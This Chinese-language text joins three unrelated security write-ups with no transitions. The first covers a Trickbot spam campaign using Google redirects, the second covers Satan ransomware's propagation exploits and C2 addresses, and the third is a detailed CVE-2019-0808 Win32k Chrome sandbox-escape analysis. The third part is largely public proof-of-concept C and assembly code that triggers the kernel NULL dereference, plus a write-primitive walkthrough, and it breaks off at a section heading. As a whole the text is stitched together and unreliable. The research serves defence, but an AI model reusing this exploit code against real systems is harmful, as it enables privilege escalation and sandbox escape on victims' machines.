概述

近期,我们通过垃圾邮件中的重定向URL,发现了Trickbot银行木马的一个变种(Trend Micro检测为TrojanSpy.Win32.TRICKBOT.THDEAI)。根据我们的监测,该变种利用Google,从URL hxxps://google[.]dm:443/url?q=<trickbot downloader>重定向,其中查询字符串中的URL url?q=<url>是将用户重定向到的恶意URL。重定向URL是一种有效的逃避方法,旨在防止垃圾邮件过滤器阻止包含恶意URL的Trickbot垃圾邮件。

详细分析

大体看来,垃圾邮件可以通过合法的方式正常传递,甚至可以在其中添加社交媒体图标。邮件的内容声称已经处理订单,并准备好发货。在邮件的正文中,详细说明了包裹的运单号码、交货的免责声明以及卖家的联系方式。网络犯罪分子使用电子邮件中的Google重定向网址来欺骗不知情的用户,诱导这部分用户打开看似无害的网站,从而跳转到攻击者定义的恶意URL。此外,由于该URL来自一个众所周知的站点,也为潜在受害者点击该链接并进行重定向跳转增加了一些可能性。

带有重定向URL的垃圾邮件示例:

1.png

电子邮件中的URL用于将用户从Google重定向到Trickbot的下载站点,浏览器将显示重定向通知,显示用户将被发送到其中包含“订单审核”(Order Review)的链接。

重定向通知:

2.png

在单击链接以确认重定向之后,用户将被引导至伪装成订单审核页面的恶意站点。该站点包含一个提示,通知用户他们的订单将在3秒内生效。

声称是订单审核页面的恶意网站:

3.png

但是,该网站将会自动下载包含Visual Basic脚本(VBS)的.zip文件,该脚本是Trickbot下载程序,一旦执行后,Trickbot就会执行其恶意程序。由于该恶意软件具有模块化的结构,所以Trickbot可以根据其下载和安装的模块,快速部署新功能。它使用的模块具有可以轻松替换的独特功能,从而实现定制攻击。下面列出了该特定恶意软件所使用的模块。

反混淆后的脚本:

4.png

Trickbot执行流程:

5.png

Trickbot模块功能

下面是Trickbot已知模块的简单描述:

1. importDll32 – 窃取浏览器数据,例如:浏览历史记录、Cookie等。

2. injectDll32 – 将恶意代码注入Web浏览器,以监控用户的在线银行信息。
3. mailsearcher32 – 搜索受影响计算机中的文件,以收集其中包含的电子邮件地址。
4. networkDll32 – 收集受影响计算机上的网络信息并将其发送到C&C服务器。
5. psfin32 – 通过LDAP为POS机配置网络。
6. pwgrab32 – 也称为Password Grabber,该工具可以从Filezilla、Microsoft Outlook和WinSCP等应用程序窃取凭据。
7. shareDll32 – 从URL下载Trickbot加载程序,将加载程序传播到连接到受影响计算机的网络共享,并将加载程序安装为持久性服务
8. systeminfo32 – 收集系统信息,如CPU/操作系统/内存信息、用户帐户,以及已安装程序和当前服务的清单。
9. wormDll32 – 利用MS17-010漏洞进行横向移动。

Trickbot模块:

6.png

尽管在恶意邮件中使用链接来传播Trickbot并不是一种特别新的技术,但此次恶意活动中,攻击者对这个老套的方法做出了创新,他们使用了一个合法的URL来绕过垃圾邮件过滤器,并滥用他们的服务或功能。由于电子邮件中通常会包含URL,因此Trickbot背后的网络犯罪分子利用这一点作为掩护,以更加隐蔽的方式扩展器感染链,并试图获得更多受害者的点击。

Trickbot使用的技巧:垃圾邮件、宏以及更多方法

在此前,我们曾经监测到与Trickbot Payload相关的垃圾邮件攻击。通常,相关恶意活动都使用带有恶意附件的垃圾邮件,并将恶意附件伪装成Microsoft Excel文件。尽管在其他的一些恶意活动中,他们声称邮件是来自已知银行和已知金融机构,并将邮件内容伪装成付款通知,但我们此次分析的案例中,Trickbot变体使用的幌子是“订单审核”。一旦用户打开该附件,将会弹出提醒用户启用宏的提示。一旦用户启用,将会执行PowerShell命令,访问恶意链接,并下载Trickbot Payload。

Trickbot以各种方式实现传播,包括Office宏、受密码保护的文档,以及外部的链接。我们经过分析后发现,该恶意软件变种的功能已经从简单地窃取大量应用程序凭据扩展到逃避检测和锁定屏幕。

如何防范Trickbot:安全建议和防护方案

Trickbot的发展已经超出了典型银行木马的发展路线,并且其更新版本可能还会持续出现,在短时间范围内不会消失。举例来说,该恶意软件也被发现作为Payload传递,这一点类似于Emotet的攻击。利用Trickbot的网络犯罪分子主要使用网络钓鱼技术,诱导用户下载附件,并访问能够窃取其凭据的恶意网站。

用户和企业可以积极学习针对垃圾邮件和其他网络钓鱼技术的最佳实践方案,并遵循这些方案进行执行和部署,从而防范此类威胁:

1. 在收到电子邮件后,及时检查发件人地址是否存在明显异常,检查是否来自完全陌生的邮箱地址,或者是否包含明显的语法(拼写)错误。

2. 不要打开来源不明的电子邮件中包含的附件。

3. 在网络中,开启全面的日志记录,并保留一定时间周期内的日志,这样能有助于IT人员跟踪恶意URL流量等可疑活动。

4. 对网络中的潜在威胁进行监控,这可以帮助企业识别传统安全解决方案可能无法检测到的恶意活动。

用户和企业也可以采用多层次的安全防护方案,来抵御Trickbot等威胁所产生的风险。我们建议用户可以选用终端应用程序控制,并确保只下载、安装和查看与白名单应用程序和白名单站点相关的文件、文档和更新,从而减少恶意攻击的风险。用户可以使用终端解决方案,例如安全软件、云安全智能防护套件、企业安全软件、网络防御设备,从而实现对恶意文件和恶意URL的检测,实时保护用户的系统。

IoC

文件名:importDll32.dll

SHA-256:be201f8a0ba71b7ca14027d62ff0e1c4fd2b00caf135ab2b048fa9c3529f98c8

检测为:TSPY_TRICKBOT.NL

文件名:injectDll32.dll

SHA-256:a02593229c8e75c4bfc6983132e2250f3925786224d469cf881dbc37663c355e

检测为:TrojanSpy.Win32.TRICKBOT.TIGOCCA

文件名:mailsearcher32.dll

SHA-256:7f55daf593aab125cfc124a1aeeb50c78841cc2e91c8fbe6118eeae45c94549e

检测为:TrojanSpy.Win32.TRICKBOT.TIGOCCA

文件名:networkDll32.dll

SHA-256:c560cca7e368ba23a5e48897e2f89ed1eb2e5918a3db0b94a244734b11a009c6

检测为:TrojanSpy.Win32.TRICKBOT.TIGOCCA

文件名:psfin32.dll

SHA-256:f82d0b87a38792e4572b15fab574c7bf95491bf7c073124530f05cc704c1ee96

检测为:TrojanSpy.Win32.TRICKBOT.TIGOCCA

文件名:pwgrab32.dll

SHA-256:fe89e399b749ee9fb04ea5801a99a250560ad1a4112bbf6ef429e8e7874921f2

检测为:TrojanSpy.Win32.TRICKBOT.TIGOCCA

文件名:shareDll32.dll

SHA-256:7daa04b93afff93bb2ffe588a557089fad731cac7af11b07a281a2ae847536d5

检测为:TrojanSpy.Win32.TRICKBOT.TIGOCCA

文件名:systeminfo32.dll

SHA-256:312dec124076289d8941797ccd2652a9a0e193bba8982f9f1f9bdd31e7388c66

检测为:TrojanSpy.Win32.TRICKBOT.TIGOCCA

文件名:wormDll32.dll

SHA-256:55f74affe702420ab9e63469d2b6b47374f863fe06ef2fffef7045fb5cbb1079

检测为:TrojanSpy.Win32.TRICKBOT.TIGOCCA

文件名:8_81_32.vbs

SHA-256:11b4c8b88142e9338a3cee2464e2ac1f4caccbdf94ab0ccf40c03b6960b35dd2

检测为:Trojan.VBS.TRICKBOT.SMDLDR

文件名:84_692_6.vbs

SHA-256:23b3cbf50531ff8cb4f81cc5d89e73f2b93f24bec575334bc133722fd9abb8fb

检测为:Trojan.VBS.TRICKBOT.SMDLDR

文件名:Day5Inypriv

SHA-256:ce46ce023e01d2afa2569962e3c0daa61f825eaa1fb5121e982f36f54bb6ab53

检测为:TrojanSpy.Win32.TRICKBOT.THDEAI

一、概述

Satan勒索软件自2017年初首次出现,从那时起,威胁行为者不断改进恶意软件,以更加有效地感染受害者,并最大化其利润。例如,FortiGuard实验室发现了一项恶意活动,该恶意活动还利用加密货币恶意软件作为额外的Payload,以最大限度地从受害者身上获取利润。

这个文件加密恶意软件,除了同时支持Linux和Windows平台之外,还利用众多漏洞,通过公开和外部网络进行传播。实际上,FortiGuard实验室已经发现了一个新的变种,它所利用的特定漏洞数量再次有所增加。

本文详细描述Satan恶意软件如何从内部网络和外部网络中找到新的目标。

二、新型漏洞利用

该恶意软件的初始传播工具,Windows上的conn.exe和Linux上的conn32/64,能够通过内部网络和外部网络实现传播。在较旧的恶意软件系列中,其Linux组件(conn32/64)仅通过非A类的专用网络传播。但是,经过不断更新后,目前最新版本的恶意软件已经支持私有网络和公共网络的同时传播。对于Windows组件(conn.exe)来说,并没有太多改变,其中甚至还包含永恒之蓝漏洞利用(来自NSA,EternalBlue)和开源应用程序Mimikatz。

这一更新版本中,仍然利用了此前发现的大多数漏洞,但Apache Struts2远程代码执行漏洞(S2-045和S2-057)已经被删除,具体原因不明。该恶意软件利用的一些漏洞包括:

· JBoss默认配置漏洞(CVE-2010-0738)

· Tomcat任意文件上传漏洞(CVE-2017-12615)

· WebLogic任意文件上传漏洞(CVE-2018-2894)

· WebLogic WLS组件漏洞(CVE-2017-10271)

· Windows SMB远程代码执行漏洞(MS17-010)

· Spring Data Commons远程代码执行漏洞(CVE-2018-1273)

我们观察到恶意软件的主要更新,是添加了几个Web应用程序远程代码执行漏洞,这些漏洞也同时在Linux版本中实现。下面是该恶意软件利用的新漏洞:

· Spring Data REST补丁请求(CVE-2017-8046)

· ElasticSearch(CVE-2015-1427)

· ThinkPHP 5.X远程执行代码(无CVE编号)

三、传播方式分析

接下来,我们来深入分析该恶意软件的传播方式。如上所述,该传播工具可以通过内部网络和公共网络传播,该工具将会执行IP地址遍历,并尝试针对稽查发现的每个IP地址进行扫描,并针对下面描述的硬编码端口列表,执行特定的漏洞利用尝试。为了提高效率,该恶意软件实现了多线程,针对每个目标IP和每个端口的单次传播尝试都将使用一个单独的线程。

四、目标网络

针对私有网络,该恶意软件会检索受害者网络中所有可能的IP地址。无论是哪种类型的网络,Windows版本的传播工具都会尝试传播到私有网络中的主机。相反,Linux版本则会避免使用A类私有网络。

Linux传播工具检查私有IP地址:

1.png

传播工具将遍历网络中所有子网的全部IP地址,试图扫描网络中的所有主机。下图展现了迭代目标IP地址的Linux版本恶意软件代码。Windows版本中也使用相同的实现方法。

传播到私有网络(conn32):

2.png

在针对公网IP为目标的情况下,传播工具从其C2服务器检索目标,如下图所示。在该位置,会对目标IP地址进行迭代,范围为xxx.xxx.xxx.1到xxx.xxx.xxx.254。在我们的监控中,该恶意活动中提供的所有目标IP都位于中国。

从C2服务器接收目标公网IP

3.png

五、漏洞利用

在Windows组件中,实现了永恒之蓝漏洞利用、Mimikatz凭据窃取、SSH暴力破解攻击以及许多用于传播的Web漏洞。除了永恒之蓝漏洞和Mimikatz之外,其他的漏洞利用也同样包含在Linux版本之中。

该恶意软件还包含其尝试利用的服务和应用程序常用的目标端口的硬编码列表。针对每个TCP端口,它会尝试扫描并执行其完整的漏洞利用列表。同时,为了提高效率,将会为每个端口生成子线程。

针对Windows组件,如果端口号为445(SMB/CIFS),则执行永恒之蓝漏洞利用。如果端口号为22(SSH),则使用硬编码的用户名和密码列表执行SSH暴力破解。如果实际开启的端口不是上述端口,则会尝试执行Web应用程序漏洞利用。

针对Windows进行目标端口检查:

4.png

针对Linux系统,不会进行445端口(SMB)的检查,其他端口稽查和漏洞利用的方案与Windows版本大致相同。

针对Linux进行目标端口检查:

5.png

从现在开始,恶意软件开始执行标准的漏洞利用过程,找到运行特定易受攻击服务或应用程序的主机,并尝试进行漏洞利用。每个目标Web应用程序都有自己定义的URL,恶意软件会尝试访问该URL,然后触发针对目标主机的攻击。

扫描Web应用程序并进行利用:

6.png

接下来,恶意软件会将其针对目标主机执行的每个漏洞利用程序通知C2服务器。

将漏洞利用执行报告发送至C2服务器:

7.png

我们还观察到,恶意软件试图扫描一些应用程序,例如Drupal、XML-RPC、Adobe等,但没有相应的漏洞利用Payload。该恶意软件只是通知其C2服务器是否存在相应的应用程序。最有可能的一种推断是,其目的在于收集可以在未来的攻击中使用的应用程序的使用情况,并进行统计。恶意软件的作者可以轻松更新其传播工具,以便在他们观察到有大量客户端在使用这一应用的时候,立即采取行动,针对特定应用程序实施攻击。

六、总结

Satan恶意软件的传播规模日渐扩大。通过扩展其作为目标的易受攻击Web服务和应用程序的数量,恶意软件的作者可以大幅增加成功攻击的概率,并拥有产生更多收益的机会。此外,Satan恶意软件还采用了“勒索软件即服务”(RaaS)的方式,将恶意软件开放给更多威胁参与者使用,这意味着将会产生更多攻击和更多非法收入。

FortiGuard实验室将持续监控该恶意软件的发展,并及时发布最新研究成果。

七、防护方案

FortiGuard的反病毒服务将该恶意样本检测为W32/ShadowBrokers.AE!tr、Linux/CoinMiner.FE!tr和Linux/Filecoder.R!tr。

FortiGuard的Webfilter服务阻止C2服务器,并将相应地址判断为恶意网站。

针对新增的Web应用程序漏洞,FortiGuard的IPS签名检测规则如下:

(1) Spring Data REST Patch Request (CVE-2017-8046) – Pivotal.Spring.PATCH.Request.Handling.Remote.Code.Execution

(2) ElasticSearch (CVE-2015-1427) – ElasticSearch.Dynamic.Script.Arbitrary.Java.Execution

(3) ThinkPHP 5.X Remote Code Execution – ThinkPHP.Request.Method.Remote.Code.Execution

用户可以选用安全服务产品组合,同时可以注册每周的威胁简报。除此之外,还可以使用专业的安全评级服务,该服务可以提供安全审计和最佳实践的建议。

八、IoC

恶意样本SHA-256:

54a1d78c1734fa791c4ca2f8c62a4f0677cb764ed8b21e198e0934888a735ef8 – W32/ShadowBrokers.AE!tr

02e1a05fdfdf4f8685d92ba09d698b8be66ae6d020dc402ff2119501dda9597c – Linux/CoinMiner.FE!tr

51F2E919A7ECFB3B096DDCB71373E86E81883B4B59848D2F6F677F9E317A8468 – Linux/Filecoder.R!tr

C2服务器:

111.90.159.103

111.90.159.104

111.90.159.105

111.90.159.106

111.90.159.106/d/conn32

111.90.159.106/d/cry32

一、前言

本文主要探讨了最近修复的Win32k漏洞(CVE-2019-0808),该漏洞与CVE-2019-5786共同在野外被利用,提供了完整的Google Chrome沙箱逃逸的漏洞利用链。

二、概述

在2019年3月7日,Google发表了一篇文章,讨论了两个在野外共同被利用的漏洞——CVE-2019-5786和CVE-2019-0808。第一个漏洞是源于Chrome渲染器中的一个漏洞,我们已经在此前的文章中详细阐述过。第二个漏洞是win32k.sys中的NULL指针引用错误,影响Windows 7系统和Windows Server 2008,允许攻击者实现Chrome沙箱逃逸并以SYSTEM身份执行任意代码。

在Google的文章发布之后,ze0r在GitHub发布了一个针对Windows 7 x86的PoC代码,该代码将导致蓝屏(BSOD)。这篇文章详细介绍了一个正在运行的沙箱逃逸和一个完整漏洞利用链的演示,并以这两个漏洞来展示Google在野外遇到的APT攻击。

三、针对公开PoC的分析

作为本文中开展更深入分析的背景,我们将首先对已经公开的PoC代码进行分析。在PoC代码中,进行的第一个操作是创建两个无模式的拖放弹出菜单——hMenuRoot和hMenuSub。随后,将hMenuRoot设置为主下拉菜单,并将hMenuSub配置为其子菜单。

HMENU hMenuRoot = CreatePopupMenu();
HMENU hMenuSub = CreatePopupMenu();
...
MENUINFO mi = { 0 };
mi.cbSize = sizeof(MENUINFO);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hMenuRoot, &mi);
SetMenuInfo(hMenuSub, &mi);
 
AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root");
AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub");

在此之后,使用SetWindowsHookEx()在当前线程上安装WH_CALLWNDPROC挂钩。该挂钩将确保在执行窗口的过程之前先执行WindowHookProc()。完成此操作后,将调用SetWinEventHook()来设置事件挂钩,以确保在显示弹出菜单时可以调用DisplayEventProc()。

SetWindowsHookEx(WH_CALLWNDPROC, (HOOKPROC)WindowHookProc, hInst, GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,hInst,DisplayEventProc,GetCurrentProcessId(),GetCurrentThreadId(),0);

下图展示了设置WH_CALLWNDPROC挂钩之前和之后的窗口消息调用流程。

1.jpg

在挂钩安装后,将会使用带有类字符串“#32768”的CreateWindowA()来创建hWndFakeMenu窗口。根据MSDN上的说明,这是菜单类的系统保留字符串。以这种方式创建窗口,将会导致CreateWindowA()将窗口对象中的许多数据字段都设置为0或NULL,因为CreateWindowA()并不清楚如何正确填充它们。其中,有一个对漏洞利用至关重要的字段,就是spMenu字段,它将被设置为NULL。

hWndFakeMenu = CreateWindowA("#32768", "MN", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);

随后,使用带窗口类wndClass的CreateWindowA()创建hWndMain。这样一来,会将hWndMain的窗口过程设置为DefWindowProc(),这是Windows API中的一个函数,负责处理窗口本身未处理的任何窗口消息。

CreateWindowA()的参数还确保在禁用模式下创建hWndMain,以便它不会从最终用户接收任何键盘或鼠标输入,但仍然可以从其他窗口、系统或应用程序本身接收其他窗口的消息。这是一种预防措施,用于确保用户不会以预料之外的方式和窗口进行交互,例如将其重新定位到预料之外的位置。最后,CreateWindowA()的最后一个参数将确保窗口位于(0x1, 0x1),窗口大于0像素 * 0像素。我们可以在下面的代码中具体看到。

WNDCLASSEXA wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXA);
wndClass.lpfnWndProc = DefWindowProc;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hInstance = hInst;
wndClass.lpszMenuName = 0;
wndClass.lpszClassName = "WNDCLASSMAIN";
RegisterClassExA(&wndClass);
hWndMain = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);
 
TrackPopupMenuEx(hMenuRoot, 0, 0, 0, hWndMain, NULL);
      
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
       TranslateMessage(&msg);
       DispatchMessageW(&msg);
 
       if (iMenuCreated >= 1) {
              bOnDraging = TRUE;
              callNtUserMNDragOverSysCall(&pt, buf);
              break;
       }
}

在创建hWndMain窗口后,将会调用TrackPopupMenuEx()以显示hMenuRoot。这将导致在hWndMain的消息栈上放置一个窗口消息,该消息栈将通过GetMessageW()在main()的消息循环中检索,通过TranslateMessage()进行转换,然后通过DispatchMessageW()发送到hWndMain的窗口过程。在此过程中,将会执行窗口过程挂钩,会调用WindowHookProc()。

BOOL bOnDraging = FALSE;
....
LRESULT CALLBACK WindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
 
    if (!bOnDraging) {
        return CallNextHookEx(0, code, wParam, lParam);
    }
....

由于尚未设置bOnDraging变量,WindowHookProc()函数将简单地调用CallNextHookEx(),来调用下一个可用的挂钩。这将导致在创建弹出菜单时发送EVENT_SYSTEM_MENUPOPUPSTART事件。该事件消息将被事件挂钩捕获,并将导致执行转移到DisplayEventProc()函数。

UINT iMenuCreated = 0;
 
VOID CALLBACK DisplayEventProc(HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime)
{
    switch (iMenuCreated)
    {
    case 0:
        SendMessageW(hwnd, WM_LBUTTONDOWN, 0, 0x00050005);
        break;
    case 1:
        SendMessageW(hwnd, WM_MOUSEMOVE, 0, 0x00060006);
        break;
    }
    printf("[*] MSG\n");
    iMenuCreated++;
}

由于这是第一次执行DisplayEventProc(),因此iMenuCreated将为0,这会导致执行Case 0。这种分支条件,会将WM_LMOUSEBUTTON窗口消息发送到hWndMain使用的SendMessageW(),以便在点(0x5, 0x5)的位置选择hMenuRoot菜单。将该消息放入hWndMain的窗口消息队列之后,iMenuCreated将会递增。

hWndMain随后处理WM_LMOUSEBUTTON消息,并选择hMenu,这将导致显示hMenuSub。这样一来,将会触发第二个EVENT_SYSTEM_MENUPOPUPSTART事件,导致DisplayEventProc()再次执行。第二种情况是在当iMenuCreated为1时执行。这种情况下,会使用SendMessageW()将鼠标移动到用户桌面上的点(0x6, 0x6)。由于鼠标左键仍然被按下,所以这看起来像正在执行拖放操作。在此之后,iMenuCreated再次递增,执行返回到如下代码,并在main()内部显示消息循环。

CHAR buf[0x100] = { 0 };
POINT pt;
pt.x = 2;
pt.y = 2;
...
if (iMenuCreated >= 1) {
    bOnDraging = TRUE;
    callNtUserMNDragOverSysCall(&pt, buf);
    break;
}

由于iMenuCreated现在的值为2,因此将执行if语句中的代码,这将会把bOnDraging设置为TRUE,以指示使用鼠标执行拖动操作,之后将使用POINT结构pt的地址和0x100字节长度的输出缓冲区buf来调用函数callNtUserMNDragOverSysCall()。

callNtUserMNDragOverSysCall()是一个包装函数,它使用编号为0x11ED的系统调用在win32k.sys中对NtUserMNDragOver()进行系统调用,0x11ED是Windows 7和Windows 7 SPI中NtUserMNDragOver()的系统调用编号。这些系统调用的目的是从user32.dll获取NtUserMNDragOver()地址的方法,因为系统调用编号往往只在不同操作系统版本和SP包之间才发生变化(但Windows 10是一个例外,该系统中经历了多次变化),而user32.dll中导出的函数与未导出的NtUserMNDragOver()函数之间的偏移量可以随时更新user32.dll。

void callNtUserMNDragOverSysCall(LPVOID address1, LPVOID address2) {
       _asm {
              mov eax, 0x11ED
              push address2
              push address1
              mov edx, esp
              int 0x2E
              pop eax
              pop eax
       }
}

NtUserMNDragOver()最终将调用xxxMNFindWindowFromPoint(),它将执行xxxSendMessage(),以发出类型为WM_MN_FINDMENUWINDOWFROMPOINT的用户模式回调。然后,使用HMValidateHandle()检查从用户模式回调返回的值,以确保它是窗口对象的句柄。

LONG_PTR __stdcall xxxMNFindWindowFromPoint(tagPOPUPMENU *pPopupMenu, UINT *pIndex, POINTS screenPt)
{
....
    v6 = xxxSendMessage(
           var_pPopupMenu->spwndNextPopup,
           MN_FINDMENUWINDOWFROMPOINT,
           (WPARAM)&pPopupMenu,
           (unsigned __int16)screenPt.x | (*(unsigned int *)&screenPt >> 16 << 16)); // Make the
                                      // MN_FINDMENUWINDOWFROMPOINT usermode callback
                                      // using the address of pPopupMenu as the
                                      // wParam argument.
    ThreadUnlock1();
    if ( IsMFMWFPWindow(v6) )  // Validate the handle returned from the user
                               // mode callback is a handle to a MFMWFP window.
      v6 = (LONG_PTR)HMValidateHandleNoSecure((HANDLE)v6, TYPE_WINDOW); // Validate that the returned
                                                                        // handle is a handle to
                                                                        // a window object. Set v1 to
                                                                        // TRUE if all is good.
      ...

在执行回调时,窗口过程挂钩函数WindowHookProc()将会在执行预期的窗口过程之前执行。该函数将检查收到的窗口消息类型。如果传入窗口的消息是WM_MN_FINDMENUWINDOWFROMPOINT类型,则会执行以下代码:

if ((cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT))
       {
              bIsDefWndProc = FALSE;
              printf("[*] HWND: %p \n", cwp->hwnd);
              SetWindowLongPtr(cwp->hwnd, GWLP_WNDPROC, (ULONG64)SubMenuProc);
       }
return CallNextHookEx(0, code, wParam, lParam);

该代码会将hWndMain的窗口过程从DefWindowProc()更改为SubMenuProc()。它还会将blsDefWndProc设置为FALSE,以指示hWndMain的窗口过程不再是DefWindowProc()。

在挂钩退出后,执行hWndMain的窗口过程。但是,由于hWndMain窗口的窗口过程已经更改为SubMenuProc(),因此会执行SubMenuProc()函数,而不是预期的DefWindowProc()函数。

SubMenuProc()将首先检查传入消息是否为WM_MN_FINDMENUWINDOWFROMPOINT类型。如果是,SubMenuProc()将调用SetWindowLongPtr(),将hWndMain的窗口过程设置回DefWindowProc(),以便hWndMain可以处理任何其他传入窗口消息。这一过程,可以防止应用程序无响应。然后,SubMenuProc()将返回和W你的FakeMenu,或者使用菜单类字符串创建的窗口句柄。

LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    if (msg == WM_MN_FINDMENUWINDOWFROMPOINT)
    {
        SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);
        return (ULONG)hWndFakeMenu;
    }
    return DefWindowProc(hwnd, msg, wParam, lParam);
}

由于hWndFakeMenu是一个有效的窗口句柄,它将会通过HMValidateHandle()检查。但是,如前所述,当CreateWindowEx()尝试将窗口创建为没有足够信息的菜单时,许多窗口的元素将被设置为0或NULL。执行将随后从xxxMNFindWindowFromPoint()进入到xxxMNUpdateDraggingInfo(),将会执行对MNGetpItem()的调用,MNGetpItem()将调用MNGetpItemFromIndex()。

然后,MNGetpItemFromIndex()将尝试访问hWndFakeMenu的spMenu字段中的偏移量。但是,由于hWndFakeMenu的spMenu字段设置为NULL,这将导致NULL指针取消引用,如果尚未分配NULL页面,则会造成内核崩溃。

tagITEM *__stdcall MNGetpItemFromIndex(tagMENU *spMenu, UINT pPopupMenu)
{
  tagITEM *result; // eax
 
  if ( pPopupMenu == -1 || pPopupMenu >= spMenu->cItems ){ // NULL pointer dereference will occur
                                                           // here if spMenu is NULL.
    result = 0;
  else
    result = (tagITEM *)spMenu->rgItems + 0x6C * pPopupMenu;
  return result;
}

四、沙箱的限制

为了更好地了解如何实现Chrome的沙箱逃逸,我们必须先了解它的运行方式。关于Chrome沙箱的大部分重要细节,都体现在Google沙箱的页面上,并进行了详细的解释。通过阅读该页面,我们可以得到与该漏洞相关的Chrome沙箱的一些详细信息,这些信息的列表如下:

1. Chrome沙箱中的所有进程,都以低完整性(Low Integrity)运行。

2. 受限作业对象适用于Chrome沙箱中运行的所有进程的进程令牌。这样一来,可以防止子进程的派生。

3. 在Chrome沙箱中运行的进程,将在独立的桌面上运行,与主桌面和服务桌面相分开,从而防范可能导致权限提升的Shatter攻击

4. 在Windows 8及更高版本,Chrome沙箱会阻止对win32k.sys的调用。

该列表中的第一个保护,是在沙箱内运行的进程都以低完整性运行。这样一来,可以防止攻击者利用sam-b内核泄露页面上提到的大量内核泄露。从Windows 8.1开始,大多数泄露都要求进程以中等完整性或更高完整性来运行。在Windows 10 RS4之前的Windows版本中,可以在HMValidateHandle()的实现中滥用内存泄漏漏洞,而在此次漏洞利用中绕过了这一限制,我们将稍后进行详细讨论。

下一个限制是沙盒进程上的受限作业对象和令牌。受限制的令牌可以确保沙箱进程在没有任何权限的情况下运行,而作业对象可以确保沙箱进程无法生成任何子进程。这两种缓解方案的组合,意味着攻击者可能必须要创建自己的进程令牌,或者窃取另一个进程令牌,然后将该作业对象与该令牌解除关联。要实现上述过程,恐怕需要的是一个内核级漏洞。这两种缓解措施与本文所分析的漏洞利用关系最为密切,具体的绕过方式将在后文中详细讨论。

该作业对象还确保沙箱进程使用“备用桌面”(Alternate Desktop,在Windows中称之为有限制的桌面),这是一个独立于主用户桌面和服务桌面的桌面,以防止通过窗口消息实现权限提升。之所以这样实现,是因为Windows阻止在桌面之间发送窗口消息,这就限制了攻击者仅能将窗口消息发送到在沙箱内创建的窗口。值得庆幸的是,这个特殊的漏洞只需要与沙箱中创建的窗口进行交互,因此这种缓解方式只会使得最终用户无法看到漏洞创建的任何窗口和菜单。

最后,值得注意的是,尽管在Windows 8中引入了保护措施,以允许Chrome阻止沙箱应用程序将系统调用发送到win32k.sys,但这些空间并未向Windows 7反向移植。因此,Chrome的沙箱无法阻止调用Windows 7及更早版本的win32k.sys,这意味着攻击者可以滥用win32k.sys上的漏洞来逃逸这些版本Windows上的Chrome沙箱。

五、沙箱漏洞利用分析

5.1 为Chrome沙箱创建DLL

正如James Forshaw的博客文章In-Console-Able中所解释的那样,我们不可能仅仅将任意DLL注入到Chrome沙箱中。由于沙箱的限制,必须以不加载任何其他库或清单文件的方式来创建DLL。

为此,首先需要调整PoC漏洞利用的Visual Studio项目,以便将该项目的类型设置为DLL,而不再是EXE。在此之后,更改C++编译器设置,以使其使用多线程运行时库(不是多线程DLL)。最后,将链接器设置为指示Visual Studio不生成清单文件。

完成此操作后,Visual Studio将生成可借助漏洞加载到Chrome沙箱中的DLL。在这里,可以利用István Kurucsai的1-Day Chrome漏洞CVE-2019-5786,也可以借助DLL注入来实现。

5.2 借助已经存在的有限写入原语实现漏洞利用

在深入了解如何将漏洞利用转换为沙箱逃逸的细节之前,了解有限的写入原语是非常重要的,如果攻击者成功设置了NULL页面,该漏洞将会为攻击者提供帮助。

一旦触发漏洞,将在win32k.sys中调用xxxMNUpdateDraggingInfo()。如果已经正确设置了NULL页面,则xxxMNUpdateDraggingInfo()将会调用xxxMNSetGapState(),其代码如下所示:

void __stdcall xxxMNSetGapState(ULONG_PTR uHitArea, UINT uIndex, UINT uFlags, BOOL fSet)
{
  ...
          var_PITEM = MNGetpItem(var_POPUPMENU, uIndex); // Get the address where the first write
                                                         // operation should occur, minus an
                                                         // offset of 0x4.
          temp_var_PITEM = var_PITEM;
          if ( var_PITEM )
          {
            ...
            var_PITEM_Minus_Offset_Of_0x6C = MNGetpItem(var_POPUPMENU_copy, uIndex - 1); // Get the
                                                         // address where the second write operation
                                                         // should occur, minus an offset of 0x4. This
                                                         // address will be 0x6C bytes earlier in
                                                         // memory than the address in var_PITEM.
            if ( fSet )
            {
              *((_DWORD *)temp_var_PITEM + 1) |= 0x80000000; // Conduct the first write to the
                                                             // attacker controlled address.
              if ( var_PITEM_Minus_Offset_Of_0x6C )
              {
                *((_DWORD *)var_PITEM_Minus_Offset_Of_0x6C + 1) |= 0x40000000u;
                                                    // Conduct the second write to the attacker
                                                    // controlled address minus 0x68 (0x6C-0x4).
...

xxxMNSetGapState()将对攻击者控制的位置加上偏移量4后执行两次写入操作。在两次写入操作之间的唯一区别是,0x40000000将被写入比0x80000000提前0x6C字节的地址。

值得注意的是,写操作是使用OR操作实现的。这意味着攻击者只能向他们选择写入的DWORD添加位,而不能删除或修改已经存在的位。同时,需要注意的是,即使攻击者以某个偏移量开始写入,他们也仍然只能将值\x40或\x80写入一个地址。

从这些观察中可以看出,如果攻击者希望实现Chrome沙箱逃逸,就需要更加强大的写入原语。为了满足这一要求,Exodus Intelligence的漏洞利用有限的写原语,通过滥用tagWND对象来创建更加强大的写原语。下面的各节中将详细介绍如何完成此操作,以及实现沙箱逃逸所需的步骤。

5.3 分配NULL页面

